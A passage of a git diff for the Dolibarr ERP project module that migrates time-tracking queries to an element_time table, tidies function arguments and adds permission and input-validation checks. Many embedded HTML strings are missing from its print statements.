+331,16 @@ if (!empty($conf->global->PROJECT_TASK_TIME_YEAR)) { print ''.$langs->trans("Time").''; print "\n"; - $sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.task_duration) as nb"; + $sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.element_duration) as nb"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; - $sql .= ", ".MAIN_DB_PREFIX."projet_task_time as tt"; + $sql .= ", ".MAIN_DB_PREFIX."element_time as tt"; $sql .= " WHERE t.fk_projet = p.rowid"; $sql .= " AND p.entity = ".((int) $conf->entity); - $sql .= " AND tt.fk_task = t.rowid"; + $sql .= " AND tt.fk_element = t.rowid"; + $sql .= " AND tt.elementtype = 'task'"; $sql .= " AND tt.fk_user = ".((int) $user->id); - $sql .= " AND YEAR(task_date) = '".strftime("%Y", $now)."'"; + $sql .= " AND YEAR(element_date) = '".strftime("%Y", $now)."'"; $sql .= " AND p.rowid in (".$db->sanitize($projectsListId).")"; $sql .= " GROUP BY p.rowid, p.ref, p.title, p.public"; @@ -407,11 +412,11 @@ if (empty($conf->global->PROJECT_HIDE_TASKS) && !empty($conf->global->PROJECT_SH $max = (empty($conf->global->PROJECT_LIMIT_TASK_PROJECT_AREA) ? 1000 : $conf->global->PROJECT_LIMIT_TASK_PROJECT_AREA); $sql = "SELECT p.ref, p.title, p.rowid as projectid, p.fk_statut as status, p.fk_opp_status as opp_status, p.public, p.dateo as projdateo, p.datee as projdatee,"; - $sql .= " t.label, t.rowid as taskid, t.planned_workload, t.duration_effective, t.progress, t.dateo, t.datee, SUM(tasktime.task_duration) as timespent"; + $sql .= " t.label, t.rowid as taskid, t.planned_workload, t.duration_effective, t.progress, t.dateo, t.datee, SUM(tasktime.element_duration) as timespent"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s on p.fk_soc = s.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task as t on t.fk_projet = p.rowid"; - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_time as tasktime on tasktime.fk_task = t.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_time as tasktime on (tasktime.fk_element = t.rowid AND tasktime.elementtype = 'task')"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."user as u on tasktime.fk_user = u.rowid"; if ($mine) { $sql .= ", ".MAIN_DB_PREFIX."element_contact as ect"; diff --git a/htdocs/projet/activity/perday.php b/htdocs/projet/activity/perday.php index 14b98b82581..e2f01f73738 100644 --- a/htdocs/projet/activity/perday.php +++ b/htdocs/projet/activity/perday.php @@ -197,11 +197,11 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $error++; } } else { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), null, 'errors'); $error++; } if (!GETPOST('type')) { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), null, 'errors'); $error++; } if (!$error) { @@ -222,7 +222,8 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $listofprojcontact = $project->liste_type_contact('internal'); if (count($listofprojcontact)) { - $typeforprojectcontact = reset(array_keys($listofprojcontact)); + $tmparray = array_keys($listofprojcontact); + $typeforprojectcontact = reset($tmparray); $result = $project->add_contact($idfortaskuser, $typeforprojectcontact, 'internal'); } } @@ -397,8 +398,8 @@ $tasksarray = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0) if ($morewherefilter) { // Get all task without any filter, so we can show total of time spent for not visible tasks $tasksarraywithoutfilter = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0), $socid, 0, '', $onlyopenedproject, '', ($search_usertoprocessid ? $search_usertoprocessid : 0)); // We want to see all task of opened project i am allowed to see and that match filter, not only my tasks. Later only mine will be editable later. } -$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, 0, ($project->id ? $project->id : 0), 0, $onlyopenedproject); -$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(0, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, null, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(null, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); //var_dump($usertoprocess); //var_dump($projectsrole); //var_dump($taskrole); @@ -485,7 +486,7 @@ $formproject->selectTasks($socid ? $socid : -1, $taskid, 'taskid', 32, 0, '-- '. print '
      '; print ' '; print $formcompany->selectTypeContact($object, '', 'type', 'internal', 'rowid', 0, 'maxwidth150onsmartphone'); -print ''; +print ''; print ''; print '
      '; diff --git a/htdocs/projet/activity/permonth.php b/htdocs/projet/activity/permonth.php index 273affc3563..066621f3083 100644 --- a/htdocs/projet/activity/permonth.php +++ b/htdocs/projet/activity/permonth.php @@ -102,6 +102,8 @@ if (empty($search_usertoprocessid) || $search_usertoprocessid == $user->id) { $object = new Task($db); +$error = 0; + /* * Actions @@ -141,11 +143,11 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $error++; } } else { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), null, 'errors'); $error++; } if (!GETPOST('type')) { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), null, 'errors'); $error++; } @@ -167,7 +169,8 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $listofprojcontact = $project->liste_type_contact('internal'); if (count($listofprojcontact)) { - $typeforprojectcontact = reset(array_keys($listofprojcontact)); + $tmparray = array_keys($listofprojcontact); + $typeforprojectcontact = reset($tmparray); $result = $project->add_contact($idfortaskuser, $typeforprojectcontact, 'internal'); } } @@ -200,10 +203,10 @@ if ($action == 'addtime' && $user->rights->projet->lire) { if (empty($timetoadd)) { setEventMessages($langs->trans("ErrorTimeSpentIsEmpty"), null, 'errors'); } else { - foreach ($timetoadd as $taskid => $value) { // Loop on each task + foreach ($timetoadd as $tmptaskid => $tmpvalue) { // Loop on each task $updateoftaskdone = 0; - foreach ($value as $key => $val) { // Loop on each day - $amountoadd = $timetoadd[$taskid][$key]; + foreach ($tmpvalue as $key => $val) { // Loop on each day + $amountoadd = $timetoadd[$tmptaskid][$key]; if (!empty($amountoadd)) { $tmpduration = explode(':', $amountoadd); $newduration = 0; @@ -218,8 +221,8 @@ if ($action == 'addtime' && $user->rights->projet->lire) { } if ($newduration > 0) { - $object->fetch($taskid); - $object->progress = GETPOST($taskid.'progress', 'int'); + $object->fetch($tmptaskid); + $object->progress = GETPOST($tmptaskid.'progress', 'int'); $object->timespent_duration = $newduration; $object->timespent_fk_user = $usertoprocess->id; $object->timespent_date = dol_time_plus_duree($firstdaytoshow, $key, 'd'); @@ -238,11 +241,11 @@ if ($action == 'addtime' && $user->rights->projet->lire) { } if (!$updateoftaskdone) { // Check to update progress if no update were done on task. - $object->fetch($taskid); + $object->fetch($tmptaskid); //var_dump($object->progress); - //var_dump(GETPOST($taskid . 'progress', 'int')); exit; - if ($object->progress != GETPOST($taskid.'progress', 'int')) { - $object->progress = GETPOST($taskid.'progress', 'int'); + //var_dump(GETPOST($tmptaskid . 'progress', 'int')); exit; + if ($object->progress != GETPOST($tmptaskid.'progress', 'int')) { + $object->progress = GETPOST($tmptaskid.'progress', 'int'); $result = $object->update($user); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); @@ -323,8 +326,8 @@ $tasksarray = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0) if ($morewherefilter) { // Get all task without any filter, so we can show total of time spent for not visible tasks $tasksarraywithoutfilter = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0), $socid, 0, '', $onlyopenedproject, '', ($search_usertoprocessid ? $search_usertoprocessid : 0)); // We want to see all tasks of open project i am allowed to see and that match filter, not only my tasks. Later only mine will be editable later. } -$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, 0, ($project->id ? $project->id : 0), 0, $onlyopenedproject); -$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(0, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, null, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(null, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); //var_dump($tasksarray); //var_dump($projectsrole); //var_dump($taskrole); @@ -397,7 +400,7 @@ $formproject->selectTasks($socid ? $socid : -1, $taskid, 'taskid', 32, 0, '-- '. print ''; print ' '; print $formcompany->selectTypeContact($object, '', 'type', 'internal', 'rowid', 0, 'maxwidth150onsmartphone'); -print ''; +print ''; print ''; print '
      '; @@ -419,7 +422,7 @@ if (!empty($conf->categorie->enabled)) // If the user can view user other than himself $moreforfilter .= '
      '; $moreforfilter .= '
      '; -$includeonly = 'hierachyme'; +$includeonly = 'hierarchyme'; if (empty($user->rights->user->user->lire)) { $includeonly = array($user->id); } diff --git a/htdocs/projet/activity/perweek.php b/htdocs/projet/activity/perweek.php index 7177f35e71c..d2cb15791b1 100644 --- a/htdocs/projet/activity/perweek.php +++ b/htdocs/projet/activity/perweek.php @@ -152,6 +152,7 @@ $search_array_options = array(); $search_array_options_project = $extrafields->getOptionalsFromPost('projet', '', 'search_'); $search_array_options_task = $extrafields->getOptionalsFromPost('projet_task', '', 'search_task_'); +$error = 0; /* @@ -203,11 +204,11 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $error++; } } else { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Task")), null, 'errors'); $error++; } if (!GETPOST('type')) { - setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), '', 'errors'); + setEventMessages($langs->transnoentitiesnoconv("ErrorFieldRequired", $langs->transnoentitiesnoconv("Type")), null, 'errors'); $error++; } @@ -229,7 +230,8 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('assigntask') $listofprojcontact = $project->liste_type_contact('internal'); if (count($listofprojcontact)) { - $typeforprojectcontact = reset(array_keys($listofprojcontact)); + $tmparray = array_keys($listofprojcontact); + $typeforprojectcontact = reset($tmparray); $result = $project->add_contact($idfortaskuser, $typeforprojectcontact, 'internal'); } } @@ -262,10 +264,10 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('formfilterac if (empty($timetoadd)) { setEventMessages($langs->trans("ErrorTimeSpentIsEmpty"), null, 'errors'); } else { - foreach ($timetoadd as $taskid => $value) { // Loop on each task + foreach ($timetoadd as $tmptaskid => $tmpvalue) { // Loop on each task $updateoftaskdone = 0; - foreach ($value as $key => $val) { // Loop on each day - $amountoadd = $timetoadd[$taskid][$key]; + foreach ($tmpvalue as $key => $val) { // Loop on each day + $amountoadd = $timetoadd[$tmptaskid][$key]; if (!empty($amountoadd)) { $tmpduration = explode(':', $amountoadd); $newduration = 0; @@ -280,10 +282,10 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('formfilterac } if ($newduration > 0) { - $object->fetch($taskid); + $object->fetch($tmptaskid); - if (GETPOSTISSET($taskid.'progress')) { - $object->progress = GETPOST($taskid.'progress', 'int'); + if (GETPOSTISSET($tmptaskid.'progress')) { + $object->progress = GETPOST($tmptaskid.'progress', 'int'); } else { unset($object->progress); } @@ -307,11 +309,11 @@ if ($action == 'addtime' && $user->rights->projet->lire && GETPOST('formfilterac } if (!$updateoftaskdone) { // Check to update progress if no update were done on task. - $object->fetch($taskid); + $object->fetch($tmptaskid); //var_dump($object->progress); - //var_dump(GETPOST($taskid . 'progress', 'int')); exit; - if ($object->progress != GETPOST($taskid.'progress', 'int')) { - $object->progress = GETPOST($taskid.'progress', 'int'); + //var_dump(GETPOST($tmptaskid . 'progress', 'int')); exit; + if ($object->progress != GETPOST($tmptaskid.'progress', 'int')) { + $object->progress = GETPOST($tmptaskid.'progress', 'int'); $result = $object->update($user); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); @@ -414,8 +416,8 @@ $tasksarray = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0) if ($morewherefilter) { // Get all task without any filter, so we can show total of time spent for not visible tasks $tasksarraywithoutfilter = $taskstatic->getTasksArray(0, 0, ($project->id ? $project->id : 0), $socid, 0, '', $onlyopenedproject, '', ($search_usertoprocessid ? $search_usertoprocessid : 0)); // We want to see all tasks of open project i am allowed to see and that match filter, not only my tasks. Later only mine will be editable later. } -$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, 0, ($project->id ? $project->id : 0), 0, $onlyopenedproject); -$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(0, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$projectsrole = $taskstatic->getUserRolesForProjectsOrTasks($usertoprocess, null, ($project->id ? $project->id : 0), 0, $onlyopenedproject); +$tasksrole = $taskstatic->getUserRolesForProjectsOrTasks(null, $usertoprocess, ($project->id ? $project->id : 0), 0, $onlyopenedproject); //var_dump($tasksarray); //var_dump($projectsrole); //var_dump($taskrole); @@ -498,7 +500,7 @@ $formproject->selectTasks($socid ? $socid : -1, $taskid, 'taskid', 32, 0, '-- '. print '
      '; print ' '; print $formcompany->selectTypeContact($object, '', 'type', 'internal', 'rowid', 0, 'maxwidth150onsmartphone'); -print ''; +print ''; print ''; print '
      '; diff --git a/htdocs/projet/admin/project.php b/htdocs/projet/admin/project.php index 37eb33d9206..20a4f01bc82 100644 --- a/htdocs/projet/admin/project.php +++ b/htdocs/projet/admin/project.php @@ -55,10 +55,10 @@ $type = 'project'; include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstproject = GETPOST('maskconstproject', 'alpha'); + $maskconstproject = GETPOST('maskconstproject', 'aZ09'); $maskproject = GETPOST('maskproject', 'alpha'); - if ($maskconstproject) { + if ($maskconstproject && preg_match('/_MASK$/', $maskconstproject)) { $res = dolibarr_set_const($db, $maskconstproject, $maskproject, 'chaine', 0, '', $conf->entity); } @@ -74,10 +74,10 @@ if ($action == 'updateMask') { } if ($action == 'updateMaskTask') { - $maskconstmasktask = GETPOST('maskconsttask', 'alpha'); + $maskconstmasktask = GETPOST('maskconsttask', 'aZ09'); $masktaskt = GETPOST('masktask', 'alpha'); - if ($maskconstmasktask) { + if ($maskconstmasktask && preg_match('/_MASK$/', $maskconstmasktask)) { $res = dolibarr_set_const($db, $maskconstmasktask, $masktaskt, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/projet/agenda.php b/htdocs/projet/agenda.php index a3c120d0a23..a0840287c2a 100644 --- a/htdocs/projet/agenda.php +++ b/htdocs/projet/agenda.php @@ -59,8 +59,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $hookmanager->initHooks(array('projectcardinfo')); @@ -180,7 +181,7 @@ if (!empty($object->id)) { $morehtmlcenter .= dolGetButtonTitle($langs->trans('ShowAsConversation'), '', 'fa fa-comments imgforviewmode', $messagingUrl, '', 1); // Show link to change view in agenda - $messagingUrl = DOL_URL_ROOT.'/projet/info.php?id='.$object->id; + $messagingUrl = DOL_URL_ROOT.'/projet/agenda.php?id='.$object->id; $morehtmlcenter .= dolGetButtonTitle($langs->trans('MessageListViewType'), '', 'fa fa-bars imgforviewmode', $messagingUrl, '', 2); @@ -196,7 +197,7 @@ if (!empty($object->id)) { // Show link to add event if (isModEnabled('agenda')) { - $addActionBtnRight = !empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create); + $addActionBtnRight = !empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create'); $morehtmlcenter .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out.'&socid='.$object->socid.'&backtopage='.urlencode($_SERVER["PHP_SELF"].'?id='.$object->id), '', $addActionBtnRight); } @@ -213,6 +214,8 @@ if (!empty($object->id)) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); } diff --git a/htdocs/projet/card.php b/htdocs/projet/card.php index 1bdcccbaecf..42833785c09 100644 --- a/htdocs/projet/card.php +++ b/htdocs/projet/card.php @@ -51,7 +51,12 @@ $backtopageforcancel = GETPOST('backtopageforcancel', 'alpha'); $backtopagejsfields = GETPOST('backtopagejsfields', 'alpha'); $cancel = GETPOST('cancel', 'alpha'); $confirm = GETPOST('confirm', 'aZ09'); -$dol_openinpopup = GETPOST('dol_openinpopup', 'aZ09'); + +$dol_openinpopup = 0; +if (!empty($backtopagejsfields)) { + $tmpbacktopagejsfields = explode(':', $backtopagejsfields); + $dol_openinpopup = $tmpbacktopagejsfields[0]; +} $status = GETPOST('status', 'int'); $opp_status = GETPOST('opp_status', 'int'); @@ -99,6 +104,8 @@ if ($id == '' && $ref == '' && ($action != "create" && $action != "add" && $acti accessforbidden(); } +$permissiontoadd = $user->rights->projet->creer; +$permissiontodelete = $user->rights->projet->supprimer; $permissiondellink = $user->rights->projet->creer; // Used by the include of actions_dellink.inc.php @@ -152,7 +159,20 @@ if (empty($reshook)) { include DOL_DOCUMENT_ROOT.'/core/actions_dellink.inc.php'; // Must be include, not include_once - if ($action == 'add' && $user->rights->projet->creer) { + // Action setdraft object + if ($action == 'confirm_setdraft' && $confirm == 'yes' && $permissiontoadd) { + $result = $object->setStatut($object::STATUS_DRAFT, null, '', 'PROJECT_MODIFY'); + if ($result >= 0) { + // Nothing else done + } else { + $error++; + setEventMessages($object->error, $object->errors, 'errors'); + } + $action = ''; + } + + // Action add + if ($action == 'add' && $permissiontoadd) { $error = 0; if (!GETPOST('ref')) { setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("Ref")), null, 'errors'); @@ -260,7 +280,7 @@ if (empty($reshook)) { } } - if ($action == 'update' && empty(GETPOST('cancel')) && $user->rights->projet->creer) { + if ($action == 'update' && empty(GETPOST('cancel')) && $permissiontoadd) { $error = 0; if (empty($ref)) { @@ -376,7 +396,7 @@ if (empty($reshook)) { } // Build doc - if ($action == 'builddoc' && $user->rights->projet->creer) { + if ($action == 'builddoc' && $permissiontoadd) { // Save last template used to generate document if (GETPOST('model')) { $object->setDocModel($user, GETPOST('model', 'alpha')); @@ -395,12 +415,12 @@ if (empty($reshook)) { } // Delete file in doc form - if ($action == 'remove_file' && $user->rights->projet->creer) { + if ($action == 'remove_file' && $permissiontoadd) { if ($object->id > 0) { require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $langs->load("other"); - $upload_dir = $conf->project->dir_output; + $upload_dir = $conf->project->multidir_output[$object->entity]; $file = $upload_dir.'/'.GETPOST('file'); $ret = dol_delete_file($file, 0, 0, 0, $object); if ($ret) { @@ -413,28 +433,28 @@ if (empty($reshook)) { } - if ($action == 'confirm_validate' && $confirm == 'yes') { + if ($action == 'confirm_validate' && $confirm == 'yes' && $permissiontoadd) { $result = $object->setValid($user); if ($result <= 0) { setEventMessages($object->error, $object->errors, 'errors'); } } - if ($action == 'confirm_close' && $confirm == 'yes') { + if ($action == 'confirm_close' && $confirm == 'yes' && $permissiontoadd) { $result = $object->setClose($user); if ($result <= 0) { setEventMessages($object->error, $object->errors, 'errors'); } } - if ($action == 'confirm_reopen' && $confirm == 'yes') { + if ($action == 'confirm_reopen' && $confirm == 'yes' && $permissiontoadd) { $result = $object->setValid($user); if ($result <= 0) { setEventMessages($object->error, $object->errors, 'errors'); } } - if ($action == 'confirm_delete' && GETPOST("confirm") == "yes" && $user->rights->projet->supprimer) { + if ($action == 'confirm_delete' && $confirm == 'yes' && $permissiontodelete) { $object->fetch($id); $result = $object->delete($user); if ($result > 0) { @@ -447,7 +467,7 @@ if (empty($reshook)) { } } - if ($action == 'confirm_clone' && $user->rights->projet->creer && $confirm == 'yes') { + if ($action == 'confirm_clone' && $permissiontoadd && $confirm == 'yes') { $clone_contacts = GETPOST('clone_contacts') ? 1 : 0; $clone_tasks = GETPOST('clone_tasks') ? 1 : 0; $clone_project_files = GETPOST('clone_project_files') ? 1 : 0; @@ -500,11 +520,11 @@ llxHeader("", $title, $help_url); $titleboth = $langs->trans("LeadsOrProjects"); $titlenew = $langs->trans("NewLeadOrProject"); // Leads and opportunities by default -if (empty($conf->global->PROJECT_USE_OPPORTUNITIES)) { +if (!getDolGlobalInt('PROJECT_USE_OPPORTUNITIES')) { $titleboth = $langs->trans("Projects"); $titlenew = $langs->trans("NewProject"); } -if ($conf->global->PROJECT_USE_OPPORTUNITIES == 2) { // 2 = leads only +if (getDolGlobalInt('PROJECT_USE_OPPORTUNITIES') == 2) { // 2 = leads only $titleboth = $langs->trans("Leads"); $titlenew = $langs->trans("NewLead"); } @@ -527,6 +547,7 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''; print ''; print ''; + print ''; print dol_get_fiche_head(); @@ -567,7 +588,7 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''; // Label - print ''.$langs->trans("ProjectLabel").''; + print ''.$langs->trans("Label").''; // Usage (opp, task, bill time, ...) if (!empty($conf->global->PROJECT_USE_OPPORTUNITIES) || empty($conf->global->PROJECT_HIDE_TASKS) || isModEnabled('eventorganization')) { @@ -602,12 +623,46 @@ if ($action == 'create' && $user->rights->projet->creer) { print ' '; $htmltext = $langs->trans("ProjectFollowTasks"); print ''; + print ''; print '
      '; } if (empty($conf->global->PROJECT_HIDE_TASKS) && !empty($conf->global->PROJECT_BILL_TIME_SPENT)) { print ' '; $htmltext = $langs->trans("ProjectBillTimeDescription"); print ''; + print ''; print '
      '; } if (isModEnabled('eventorganization')) { @@ -660,7 +715,7 @@ if ($action == 'create' && $user->rights->projet->creer) { // TODO @LDR Implement this if (getDolGlobalInt('MAIN_FEATURES_LEVEL') >= 2) { $tmpbacktopagejsfields = 'addthirdparty:socid,search_socid'; - print dolButtonToOpenUrlInDialogPopup('addthirdparty', $langs->transnoentitiesnoconv('AddThirdParty'), $newbutton, $url, '', '', $tmpbacktopagejsfields); + print dolButtonToOpenUrlInDialogPopup('addthirdparty', $langs->transnoentitiesnoconv('AddThirdParty'), $newbutton, $url, '', '', '', $tmpbacktopagejsfields); } else { print ' '.$newbutton.''; } @@ -706,24 +761,26 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''.$langs->trans("OpportunityStatus").''; print ''; print $formproject->selectOpportunityStatus('opp_status', GETPOSTISSET('opp_status') ? GETPOST('opp_status') : $object->opp_status, 1, 0, 0, 0, '', 0, 1); - print ''; // Opportunity probability - print ''.$langs->trans("OpportunityProbability").''; - print ' %'; + print ' %'; print ''; print ''; print ''; // Opportunity amount print ''.$langs->trans("OpportunityAmount").''; - print ''; + print ''; + print ' '.$langs->getCurrencySymbol($conf->currency); + print ''; print ''; } // Budget - print ''.$langs->trans("Budget").''; - print ''; + print ''.$langs->trans("Budget").''; + print ''; + print ' '.$langs->getCurrencySymbol($conf->currency); + print ''; print ''; // Date project @@ -759,7 +816,7 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''.$langs->trans("Categories").''; $cate_arbo = $form->select_all_categories(Categorie::TYPE_PROJECT, '', 'parent', 64, 0, 1); $arrayselected = GETPOST('categories', 'array'); - print img_picto('', 'category').$form->multiselectarray('categories', $cate_arbo, $arrayselected, '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('categories', $cate_arbo, $arrayselected, '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); print ""; } @@ -780,6 +837,7 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''; // Change probability from status or role of project + // Set also dependencies between use taks and bill time print ''; print '
      '; @@ -930,12 +993,52 @@ if ($action == 'create' && $user->rights->projet->creer) { print 'usage_task ? ' checked="checked"' : '')) . '"> '; $htmltext = $langs->trans("ProjectFollowTasks"); print ''; + print ''; print '
      '; } if (empty($conf->global->PROJECT_HIDE_TASKS) && !empty($conf->global->PROJECT_BILL_TIME_SPENT)) { print 'usage_bill_time ? ' checked="checked"' : '')) . '"> '; $htmltext = $langs->trans("ProjectBillTimeDescription"); print ''; + print ''; print '
      '; } if (isModEnabled('eventorganization')) { @@ -944,7 +1047,14 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''; print ''; } @@ -973,7 +1081,8 @@ if ($action == 'create' && $user->rights->projet->creer) { if (!empty($conf->global->PROJECT_FILTER_FOR_THIRDPARTY_LIST)) { $filteronlist = $conf->global->PROJECT_FILTER_FOR_THIRDPARTY_LIST; } - $text = $form->select_company($object->thirdparty->id, 'socid', $filteronlist, 'None', 1, 0, array(), 0, 'minwidth300'); + $text = img_picto('', 'company', 'class="pictofixedwidth"'); + $text .= $form->select_company($object->thirdparty->id, 'socid', $filteronlist, 'None', 1, 0, array(), 0, 'minwidth300'); if (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) && empty($conf->dol_use_jmobile)) { $texthelp = $langs->trans("IfNeedToUseOtherObjectKeepEmpty"); print $form->textwithtooltip($text.' '.img_help(), $texthelp, 1, 0, '', '', 2); @@ -1013,32 +1122,34 @@ if ($action == 'create' && $user->rights->projet->creer) { // Opportunity status print ''.$langs->trans("OpportunityStatus").''; print ''; - print $formproject->selectOpportunityStatus('opp_status', $object->opp_status, 1, 0, 0, 0, 'inline-block valignmiddle', 0, 1); - print ''; - print ''; - print ''; + print '
      '; + print $formproject->selectOpportunityStatus('opp_status', $object->opp_status, 1, 0, 0, 0, 'minwidth150 inline-block valignmiddle', 1, 1); // Opportunity probability - print ''.$langs->trans("OpportunityProbability").''; - print ' %'; - print ''; + print ' %'; + print ''; + print '
      '; + + print ''; + print ''; print ''; // Opportunity amount print ''.$langs->trans("OpportunityAmount").''; - print ''; + print ''; print $langs->getCurrencySymbol($conf->currency); print ''; print ''; } // Budget - print ''.$langs->trans("Budget").''; - print ''; + print ''.$langs->trans("Budget").''; + print ''; print $langs->getCurrencySymbol($conf->currency); print ''; print ''; @@ -1085,7 +1196,7 @@ if ($action == 'create' && $user->rights->projet->creer) { foreach ($cats as $cat) { $arrayselected[] = $cat->id; } - print img_picto('', 'category').$form->multiselectarray('categories', $cate_arbo, $arrayselected, 0, 0, 'quatrevingtpercent widthcentpercentminusx', 0, '0'); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('categories', $cate_arbo, $arrayselected, 0, 0, 'quatrevingtpercent widthcentpercentminusx', 0, '0'); print ""; } @@ -1108,8 +1219,8 @@ if ($action == 'create' && $user->rights->projet->creer) { $morehtmlref = '
      '; // Title $morehtmlref .= dol_escape_htmltag($object->title); - // Thirdparty $morehtmlref .= '
      '; + // Thirdparty if (!empty($object->thirdparty->id) && $object->thirdparty->id > 0) { $morehtmlref .= $object->thirdparty->getNomUrl(1, 'project'); } @@ -1127,7 +1238,7 @@ if ($action == 'create' && $user->rights->projet->creer) { print '
      '; print '
      '; - print ''; + print '
      '; // Usage if (!empty($conf->global->PROJECT_USE_OPPORTUNITIES) || empty($conf->global->PROJECT_HIDE_TASKS) || isModEnabled('eventorganization')) { @@ -1180,14 +1291,13 @@ if ($action == 'create' && $user->rights->projet->creer) { if ($code) { print $langs->trans("OppStatus".$code); } - print ''; // Opportunity percent - print ''; + print ''; // Opportunity Amount print ''; - - // Opportunity Weighted Amount - /* - print ''; - */ } // Budget print ''; @@ -1268,6 +1369,25 @@ if ($action == 'create' && $user->rights->projet->creer) { print ''; + // Set also dependencies between use taks and bill time + print ''; + // Change probability from status if (!empty($conf->use_javascript_ajax) && !empty($conf->global->PROJECT_USE_OPPORTUNITIES)) { // Default value to close or not when we set opp to 'WON'. @@ -1308,19 +1428,23 @@ if ($action == 'create' && $user->rights->projet->creer) { } /* Change percent with default percent (defaultpercent) if new status (defaultpercent) is higher than current (jQuery("#opp_percent").val()) */ - 